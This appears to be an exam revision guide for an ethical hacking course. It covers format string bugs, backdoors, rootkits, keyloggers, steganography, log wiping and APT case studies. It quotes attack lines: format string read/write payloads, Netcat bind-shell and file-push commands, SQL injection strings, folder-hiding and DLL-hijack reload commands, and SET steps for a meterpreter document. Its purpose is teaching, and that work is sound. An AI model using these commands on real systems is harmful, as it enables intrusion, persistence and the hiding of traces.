printf("Cannot find file %s", filename);   // fine β€” one specifier, one argument
printf("Cannot find file %s");             // no argument supplied!
printf(string);                            // string is user-supplied β€” the bug

Why the missing argument matters

The deck walks it through with printf("%d %d %d", a, b, c). The arguments a, b and c are pushed onto the stack along with the format string, forming printf's stack frame. Now remove them:

printf("%d %d %d") β€” printf will take whatever values are available on the stack and print those as a, b and c. It has no way to know the arguments were never supplied; it simply walks up the stack reading whatever is there.

Analogy β€” format strings

You hand a waiter a slip saying "read out the next three items on the list." You forgot to attach the list. The waiter doesn't stop β€” he just keeps reading down whatever page happens to be open on the counter, which is the kitchen's private order book. The number of % specifiers is how many lines he reads; he never checks that you actually gave him a list.

Read vs write β€” the two specifiers that matter

SpecifierEffectSecurity consequence
%xReads and prints some bytes from the stackLeaks sensitive data. Supplying a long run of %x %x %x … will dump the stack
%sReads the string at an address taken from the stackUsed with a crafted address to read arbitrary memory
%nWrites the number of characters printed so far onto the stackThis allows the attacker to corrupt the stack β€” it is what makes the bug potent rather than merely leaky
Trap

%x and %s read. %n writes. The exam will ask which specifier allows writing to memory β€” the answer is always %n, and the thing it writes is the number of characters printed so far, not a value you pick directly.

Advanced format string attacks

By combining them, an attacker can try to control which address is used for reading from memory using %s, or for writing to memory using %n, with specially crafted format strings. The two patterns on the slide:

\xEF\xCD\xCD\xAB %x %x ... %x %s
   β†’ with the right number of %x, prints the string located at address ABCDCDEF

\xEF\xCD\xCD\xAB %x %x ... %x %n
   β†’ with the right number of %x, writes the number of characters printed
     so far to location ABCDCDEF

The leading bytes are the target address placed on the stack as data; the run of %x specifiers is a counter that walks printf's argument pointer along until it lands exactly on those bytes. Then the final %s or %n acts on the address you planted.

Note the byte order

\xEF\xCD\xCD\xAB addresses ABCDCDEF β€” the bytes are written in reverse because x86 is little-endian. If a question shows an address and a byte sequence, check they are mirror images.

The fix

The deck is emphatic that this one is easy: format string attacks are easy to stop and fix.

printf(str)          // vulnerable β€” user data is the format string
printf("%s", str)    // safe β€” user data is an argument

The principle generalises neatly to the rest of the module: the bug is always data being treated as instructions. In SQLi the user's string became part of the query; here the user's string became the format specification. The fix is the same shape both times β€” keep the user's data in the slot reserved for data.

11 Β· Keeping access: backdoors and Netcat

Lecture 10/11 β€” Keeping Access

What a backdoor is

The real-world examples list

BackdoorDetail
sendmail wizardDebugging back door left in
Code Red wormTrojan planted by the worm
EtumbotAPT back door β€” victims including media outlets, high-tech companies and a number of governments
HikitRAT used by cyber-espionage group Hidden Lynx (believed based in China) against U.S. defense contractors
DridexTrojan back door targeting online banking users in Romania, Aug 2015

Sniffing backdoors β€” the stealth upgrade

The logic: attackers don't want to get caught, so they increasingly use stealthy backdoors. The key insight is that a backdoor does not need to wait listening on a port β€” a listening port shows up in a port scan and in netstat. Instead, a sniffer gathers traffic rather than listening to an open port.

TypeBehaviourExample
Non-promiscuous sniffing backdoorSniffs traffic for one targetcd00r
Promiscuous sniffing backdoorSniffs all LAN trafficThe DNS-server example below

cd00r β€” port knocking

cd00r only starts listening on a pre-programmed port after a sequence of TCP SYN packets are received on a defined port list, and in the correct order. In the diagram: SYN to port X, SYN to port Y, SYN to port Z β†’ after the SYN to Z is received, activate a temporary listener on port 5002 β†’ attacker connects to a root shell on port 5002.

Analogy β€” cd00r

It's the secret knock on a speakeasy door. From the street the door looks like a blank wall β€” scan it all you like, there's nothing there. Only the right rhythm in the right order makes a doorman appear. Get the order wrong and nothing happens at all, so you can't even tell there's a door.

The promiscuous backdoor scenario

Worth understanding because of why it is clever: the backdoor is located on the DNS server, while all the packets are sent to the WWW server (which has no backdoor on it). The DNS server's backdoor sniffs promiscuously and picks up the commands meant for the web server. In a switched environment the attacker may use ARP cache poisoning to make that traffic reach them. The result: confusing for investigators β€” they analyse the machine that received the traffic and find nothing wrong with it.

Netcat β€” "the Swiss army knife of hackers"

A tool that can read and write to TCP/UDP ports. Installed on the victim's machine, the attacker can connect to it, chat with the victim, or execute a shell to access the internals. Learn these four invocations β€” flags and all.

PurposeVictim (listener)Attacker (client)
Basic connectionnc -nlvp 6666nc -nv <IP> 6666
File transfer (pushes a file to the victim)nc -nlvp 6666 > store.outnc -nv <IP> 6666 < malicious_file
Remote shellnc -nlvp 6666 -e /bin/sh
(cmd.exe on Windows)
nc -nv <IP> 6666
Lab variantnc -l -p 6996 -e cmd.exenc <victim's IP> 6996

Decoding the flags: -n no DNS resolution, -l listen mode, -v verbose, -p port, -e execute a program on connect. The -e flag is the one that turns Netcat from a networking utility into a backdoor: port 6666 is bound to /bin/sh and the output from the shell is redirected to the network.

The one extra tool name

Cryptcat = Netcat with Twofish encryption. Same functionality, encrypted channel β€” which defeats a network IDS watching for plaintext shell traffic.

12 Β· Keeping access: trojans, rootkits and keyloggers

Lecture 10/11 β€” Keeping Access

Trojans

A Trojan horse is any malicious computer program used to hack into a computer by misleading its true intent, named from the Ancient Greek story of the wooden horse in Troy. Typically aimed at taking control of a victim computer, stealing data, or inserting more malware.

Rootkits

A type of Trojan that keeps itself hidden from detection and enables an attacker to have root / administrator access. What it actually does:

Sony XCP β€” the case study

Mark Russinovich was developing a rootkit scanner for Windows, and while testing it discovered his machine already had a rootkit on it. The source turned out to be Sony audio CDs equipped with XCP "copy protection". Inserting such a CD runs an autorun.exe, which installs the rootkit.

The three-tier comparison β€” the single most examinable table in this deck

TypeCharacteristicAnalogy (from the slide)Example tools
Application-LevelSeparate program runs on the systemAttacker adds poison to your soupSub7, BO2K, Tini
Traditional RootKitsCritical OS components replacedAttacker replaces noodles with poisoned onesLrk6, T0rnkit
Kernel-Level RootKitsKernel is patchedAttacker replaces your tongue with a poisoned oneKnark, Adore, rootkit.com
Why the soup analogy is actually good

Poison in the soup β€” you could spot it if you looked at the soup carefully (a separate program is visible in the process list). Poisoned noodles β€” the poison is now part of the meal itself, so inspecting "the soup" tells you nothing (ls and ps are themselves the trojans). A poisoned tongue β€” now every meal tastes however the attacker wants, because the thing doing the tasting is compromised. That's the kernel: the tools are all fine, but the thing they ask for the truth is lying.

Traditional rootkits in detail

Kernel-level rootkits in detail

Trap

Traditional rootkit β†’ system binaries are replaced. Kernel-level rootkit β†’ system binaries are left alone, the kernel underneath them is patched. If a question says a kernel-level rootkit works by trojanising ps and ifconfig, it has described a traditional rootkit.

Defences against application-level trojans

Keyloggers

The rationale: almost all of the information flow from the user to the computer (or beyond, to the Internet) is via the keyboard β€” a little from the mouse, a bit from devices like USB keys. So an attacker installs a key logger to keep a record of all email/IM you send, websites you visit, and all passwords you type. Certain keyloggers are installed by malware β€” e.g. KeyBase, since Feb 2015, which captures passwords, especially banking passwords, and sends the information to the remote attacker. The data can be accessed locally, or sent to a remote machine over the Internet.

KindDescription
Application-specificRecords only those keystrokes associated with a particular application, such as an IM client
SystemRecords all keystrokes pressed (for one particular user or all users of the target system)
Hardware keyboard loggerA small piece of hardware that sits between the keyboard and the computer. Works with any target OS, is difficult to detect in software, but needs physical access

Tool specifics from the demos:

Memory hook

Key Logger Pro β†’ K. Actual Key Logger β†’ F7. The hardware logger is the one defined by its limitation (needs physical access) and its superpower (OS-independent, invisible to software).

13 Β· Covering tracks: hiding, steganography and logs

Lecture 11 β€” Covering Tracks

The framing: after an attacker compromises a machine and completes the attack or creates a back door, he has to ensure that his presence is removed or remains hidden. Four sub-topics: hiding files and folders; undeletable files and folders; clean up log files; clean up target machine.

Hiding files and folders

MethodDetailScope
ExplorerOrganize β†’ Folder and search options β†’ View tab β†’ "Don't show hidden…"Files, folders and drives
attrib commandattrib +s +a +h <foldername> β€” change attributes to system, archive and hiddenFolders and files
Free Hide FolderAdd folders to be hidden; selectively hide and unhideFolders only β€” no support for files
My LockboxAdd folders to be hidden; selectively lock and unlockFolders only β€” no support for files
QuickStegoHide a collection of e.g. usernames, passwords, pass phrases β€” text hidden in an innocuous imageText/files
Xiao SteganographyHide system files, executables etc. β€” files are hidden in the imageFiles
Trap

The summary slide splits them explicitly: Free Hide Folder and My Lockbox (folders only) versus QuickStego and Xiao Steganography (files). And remember the attrib flags: +s +a +h = system, archive, hidden.

Steganography and the LSB technique

Why images work as containers:

The deck then shows bit-plane images from bit 0 up to bit 7 of the green plane. The observation that matters: the LSB of each colour component is often quite random, so replacing it with a different value will likely not be noticed.

The capacity arithmetic β€” a guaranteed calculation question

Bits replaced per colour componentStorage capacity
LSB only (bit 0)1/8 = 12.5%
Bits 0 and 12/8 = 25%

The logic generalises: each component is 8 bits, so using n of them gives n/8 capacity. Replacing all the LSBs is likely to result in an indifferent image (the cover image) β€” i.e. visually unchanged.

LSB storage issues

Analogy β€” why the baboon beats the sunset

Hiding a whisper is easy in a crowded market and impossible in an empty library. A busy, high-detail image is the market: its pixel values are already jumping around, so a bit of extra noise is lost in the crowd. A smooth gradient sky is the library β€” every value is almost identical to its neighbour, so random flickering in the last bit stands out as obviously artificial.

Making files "undeletable"

MethodHow it works
PermissionsChange permissions, then rename and hide it
Prevent (tool)Set a hot key, e.g. Ctrl-P, to act as a toggle. Essentially prevents activation of all functions via right mouse click β€” cut, paste, copy, delete, rename
Filename trickUse a file or folder name with inconspicuous characters β€” space, period or underscore β€” at the end: abcde .txt, abcde..txt, abcde_.txt. dir shows something that looks normal, so del abcdef.txt fails on the first attempt
Why the filename trick works

It's "undeletable" in scare quotes on the slide for a reason β€” the file isn't protected at all. The defender simply can't type its name correctly, because the trailing space or dot is invisible in a directory listing. It buys time and confusion, not actual immunity.

Log files

Viewing them: Start β†’ Control Panel β†’ System and Security β†’ Administrative Tools β†’ Event Viewer. The logs available are for application, security-related, setup and forwarded events, and the event type can be information, warning, error or audit.

LogWhat it holds
ApplicationClassified as error, warning or information depending on severity. An error is a significant problem such as loss of data; a warning isn't necessarily significant but might indicate a possible future problem; information describes the successful operation of a program, driver or service
SecurityThese are called audits and are described as successful or failed β€” e.g. whether a user trying to log on to Windows was successful
SetupComputers configured as domain controllers will have additional logs displayed here
SystemLogged by Windows and Windows system services; classified as error, warning or information
ForwardedForwarded to this log by other computers
Trap

Only the Security log uses "audit" (success/failure). Application and System use error/warning/information. If an option describes a failed logon as a "System warning", it's wrong β€” it's a Security audit failure.

Clearing vs editing β€” Winzapper

The exam distinction

Event Viewer "Clear Log" = all-or-nothing. Winzapper = selective deletion, requires Admin. An empty log screams "someone was here"; a log missing three specific entries does not.

Cleaning up the target β€” Traceless

What it clears: History, temporary internet files, cookies, Recent Documents list. Its features: password protected, runs at start-up, can be scheduled to run when you want, comprehensive help file.

14 Β· Advanced Persistent Threats

Lecture 11/12 β€” APT

The definition

APTs refer to tools and techniques that can be used to launch an attack that cannot be stopped by conventional security mechanisms.

Unpacking the three words

WordWhat it means on the slide
AdvancedAttacker adapts to defenders' efforts; can develop or buy Zero-Day exploits; higher level of stealth employed
PersistentAttacks are objective and specific; will continue until the goal is reached; intent to maintain long-term connectivity
ThreatsThe entity or entities behind the attack; strong financial and human (expertise) resources

The APT attack cycle

An APT attack phase is:

And the modern aggravator: cloud computing and BYODs increase the target attack surface.

APT attack characteristics β€” the six-item list

  1. Targeted, low-profile attacks
  2. Extremely stealthy
  3. Highly motivated and determined
  4. Well-financed
  5. Coordinated across attack points
  6. Very low to zero target down time

Hence the consequence: many organizations operate for years without knowing that they have been breached.

Analogy β€” why "very low to zero down time" matters

A burglar who smashes the window announces himself. An APT is the lodger who copied your key, moves in quietly, and is careful never to break anything β€” because the moment the taps stop working, you call a plumber and the plumber finds him. Keeping your systems running perfectly is an attack technique, not a courtesy.

The phishing attack cycle

The spear phishing demo uses Kali Linux and the SET β€” Social Engineering Toolkit: Social-Engineering Attacks β†’ Spear-Phishing Attack Vectors β†’ option 2 to create a FileFormat payload β†’ type 5, which creates a Word document that will overflow a buffer and enable us to put a listener or rootkit on the victim's machine β†’ then choose the listener (aka rootkit, aka payload), type 5 to get the Metasploit meterpreter β†’ after the listener's IP and port are entered, SET creates the malicious file template.rtf.

Connecting the modules

Look at what that payload is: a document that triggers a buffer overflow (Week 10) to install a rootkit/listener (Week 11) delivered by social engineering (Week 2) and managed from a C&C server (Week 12). APT isn't a new technique β€” it's every technique in the module, sequenced and funded.

The Targeted Attack Model β€” seven numbered steps

  1. Attacker initiates the targeted attack by sending phishing emails with malicious attachments (DOC, PDF, XLS).
  2. User interacts with an email.
  3. System is compromised.
  4. Remote management and administration tools are deployed on the infected system.
  5. Other machines are attacked and compromised.
  6. The infected network is used to reach sensitive information and critical data.
  7. Data is exfiltrated from remote machines.

Intelligence gathering and threat modeling

PhaseContent
Intelligence GatheringOSINT β€” collecting intelligence from public or openly available resources.
Passive mode: no actual interaction (traffic) takes place with the target.
Semi-passive mode: attackers use generic information-gathering methods that generate normal traffic without suspicion, such as DNS queries or WHOIS lookups.
Threat ModelingMap the target environment and categorize assets based on their importance and value into primary and secondary targets.
Assess risks and threats to determine which domains are most likely to reveal the attack and which domains might invite retaliation.
Trap

Passive = zero traffic to the target. Semi-passive = normal-looking traffic (DNS, WHOIS). A WHOIS lookup is not passive under this model β€” it's semi-passive, because a query does leave your machine.

Case study 1 β€” the RSA breach (March 2011)

Numbers to memorise

2 emails β†’ 4 workers at EMC β†’ 1 click β†’ Poison Ivy β†’ 40 million tokens affected. And the token itself: 6 digits every 60 seconds.

Case study 2 β€” Shadow Force and DLL hijacking

The general technique

The actual Shadow Force attack, step by step

  1. Windows starts the MSDTC (Microsoft Distributed Transaction Coordinator) service, which coordinates transactions that span multiple resource managers, such as databases, message queues and file systems. On start it searches the registry.
  2. Specifically, the MTxOCI component in MSDTC searches for three DLLs: oci.dll, SQLLib80.dll and xa80.dll. oci.dll is from an Oracle installation β€” so on a machine with no Oracle, it will simply never be found.
  3. The attacker creates a backdoor component, renames it oci.dll, and places it in %SystemRoot%\system32\.
  4. The attacker uses a remote job command to kill the MSDTC service β€” taskkill /im msdtc.exe /f β€” causing MSDTC to reload itself.
  5. The reloaded MSDTC now looks for and finds the hostile oci.dll. Calling this DLL opens up Shadow Force.

The variants and the clever bit

Analogy β€” DLL hijacking

Your assistant is told "fetch the Oracle file from the cabinet, checking drawer 1, then 2, then 3." The file was never filed β€” so she always comes back empty-handed and nobody noticed. The attacker slips a forged file into drawer 1. Nothing was tampered with, nothing was overwritten, no alarm fires. The system simply finally found what it had always been politely asking for.

Why npf.sys is the smartest part

The attacker needs a signed kernel driver to sniff packets. Rather than steal a signing certificate, they use a legitimate, genuinely signed driver from Wireshark. Windows checks the signature, finds it valid β€” because it is valid β€” and loads it. The malware never had to break the trust system; it borrowed something the trust system already approved of.

Anatomy of an APT attack β€” the five components

  1. Malware Infection Frameworks
  2. Browser Exploit Packs and Glype Proxies
  3. RATs and Rootkits
  4. Morphing and Obfuscation Toolkits
  5. Interface with an Underground Market

On that last point: TheRealDeal Market appeared in March 2015 and is focused on commercialization of zero-day exploits; the marketplace is hosted on the popular TOR network.

APT targets

EnterprisesTelcosGovernment
Banking, Finance & Insurance
Petrochemical, Energy & Transport
Media
ISP β€” Internet Service Providers
NSP β€” Network Service Providers
Mobile & Telco Operators
Defense
CERT/CSIRT
Intelligence
Utilities

And the current example: Salt Typhoon β€” an alleged attack on US ISPs; the attack group is tracked as Salt Typhoon, FamousSparrow, GhostEmperor.

Quasar RAT β€” the demo tool

Defence: the dual protection strategies

Boundary ProtectionAgile Defense
Primary considerationPenetration ResistanceInformation System Resilience
Adversary locationOutside the Defensive PerimeterInside the Defensive Perimeter
ObjectiveRepelling the AttackOperating while under Attack

The relationship between them: boundary protection is a necessary but not sufficient condition for Agile Defense.

Agile Defense measures

Analogy β€” boundary vs agile

Boundary protection is the castle wall. Agile Defense is assuming the wall will be breached and designing the castle so that one breached room doesn't give up the keep: internal doors, separate keys, and a plan for carrying on the siege from inside. The APT's defining characteristic is that it is already inside β€” which is precisely why a wall-only strategy fails against it.

Preventive solutions β€” the three columns

Behavioral AnalysisSecurity MonitoringIncident Response
Cyber-Attack Detection
Attack Location ID
IP or AS blocking
Maximize QoS
Risk Analysis
Attack Validation
Blocking Policies
Inform Subscriber

15 Β· The night-before cram sheet

Highest-yield facts across Weeks 8–11

πŸ“Ά Numbers β€” wireless

  • SSID: 1–32 characters, case-sensitive, 32 byte identifier. Beaconed several times a second.
  • MAC: 48 bits, first 3 octets = OUI (vendor). Spoofing in Device Manager needs first 2 chars = 02.
  • WEP: RC4, key 40 or 104 bit, IV 24 bit, ICV 32 bit (CRC-32).
  • WPA: RC4, key 128 bit, IV 48 bit (24+24), MIC 64 bit via Michael, placed before the ICV.
  • WPA2: AES-CCMP, 802.11i, provides RSN. Personal PSK is 256-bit.
  • Beck-Tews: one ARP frame β‰ˆ 14–17 minutes.
  • Key chain: PSK + SSID + SSID length β†’ PMK β†’ PTK (unicast). GTK = multicast/broadcast, created in both Personal and Enterprise.

🧭 One-line discriminators

  • Probe = client asks. Beacon = AP announces.
  • 802.11b = one-way auth: AP authenticates user, user does NOT authenticate AP β†’ evil twin works.
  • AirSnort = WEP, AirCrack = WPA.
  • KRACK = resets the nonce by blocking Msg4 β†’ AP resends Msg3. Not brute force.
  • Wardriving is legal; exploiting what you find without permission is not. Warflying = drone.
  • Monitor mode = capture without associating with an AP.
  • BSSID = the MAC address of the AP.
  • DOM-based XSS is invisible to the server (5 steps, not 4).
  • XSRF needs the victim already logged in. XSS doesn't.
  • Locals pushed in same order; arguments pushed in reverse.
  • %x / %s read, %n writes (the count of characters printed so far).
  • Traditional rootkit replaces binaries; kernel rootkit leaves ls/ps/du/ifconfig unmodified.
  • Clear Log = everything. Winzapper = selective, needs Admin.
  • Passive = no traffic to target. Semi-passive = DNS/WHOIS (normal-looking traffic).

⌨️ Commands most likely to be quoted

  • netsh wlan show networks mode=bssid β€” scan the Wi-Fi neighbourhood
  • netsh wlan set hostednetwork mode=allow ssid="ssid" key="passphrase" keyUsage=persistent β€” Soft AP
  • whatweb -v <website> β€” web enumeration; wafw00f β€” detect WAF; HTTrack β€” mirror
  • docker run --rm -p 3000:3000 bkimminich/juice-shop β€” OWASP Juice Shop
  • wmap_sites -a then wmap_targets -t β€” in that order
  • ' or 1 = 1 --  |  ' or 'a' = 'a (no comment char)  |  ' or 1 = 1)# (brackets)
  • order by N β†’ column count  |  union select … with cat=-1 β†’ vulnerable column
  • MySQL: @@version, information_schema.tables/columns, 0x3a = colon
  • SQLite: sqlite_version(), sqlite_master, escape prefix '))
  • nc -nlvp 6666 -e /bin/sh (victim) / nc -nv <IP> 6666 (attacker)
  • attrib +s +a +h <foldername> β€” system, archive, hidden
  • taskkill /im msdtc.exe /f β€” the Shadow Force reload trigger

πŸ”’ Counts worth knowing (for "select all that apply")

  • 6 WEP limitations Β· 6 SQLi impacts Β· 6 APT characteristics Β· 5 core web security problems
  • 3 types of XSS Β· 3 kinds of keylogger Β· 3 rootkit tiers Β· 3 kernel-rootkit implementations
  • 3 players in 802.1X (Client, AP, Authentication Server) Β· 4 stages of web hack escalation
  • 7 steps in the Targeted Attack Model Β· 5 components in the anatomy of an APT
  • LSB capacity: 1 bit = 12.5%, 2 bits = 25%

🏷️ Name β†’ thing, fast

  • Connectify / Virtual WiFi Router / My Public WiFi β†’ soft/rogue AP  Β·  Technitium β†’ MAC changer (Windows), macchanger β†’ Kali
  • Vistumbler / NetStumbler / Wellenreiter / WiFiFoFum / KisMAC / Airmon-ng β†’ wardriving
  • LOIC / HOIC / XOIC / HULK / GoldenEye β†’ DoS  Β·  FakeAP / Void11 β†’ flooding DoS  Β·  Airpwn β†’ injection  Β·  AirJack / File2air β†’ replay
  • BlueSmack ping of death Β· BlueChop disrupt piconet Β· BluePass buffer overflow Β· BlueSnarf files Β· BlueBump piconet key
  • Burp intercept/modify Β· HTTrack mirror Β· wafw00f WAF Β· wmap scan Β· SQLMAP automated SQLi Β· SQLI Hunter find targets via dorks
  • Netcat swiss army knife Β· Cryptcat = Netcat + Twofish Β· Weevely PHP web backdoor Β· cd00r port-knock backdoor
  • ProRAT port 5110 Β· Quasar RAT C&C demo, Mutex = one instance Β· Poison Ivy = RSA breach backdoor
  • Sub7/BO2K/Tini app-level Β· Lrk6/T0rnkit traditional Β· Knark/Adore kernel-level
  • QuickStego / Xiao stego (files) Β· Free Hide Folder / My Lockbox (folders only) Β· Winzapper selective log delete Β· Traceless cleanup
  • SET = Social Engineering Toolkit β†’ spear phishing β†’ template.rtf + meterpreter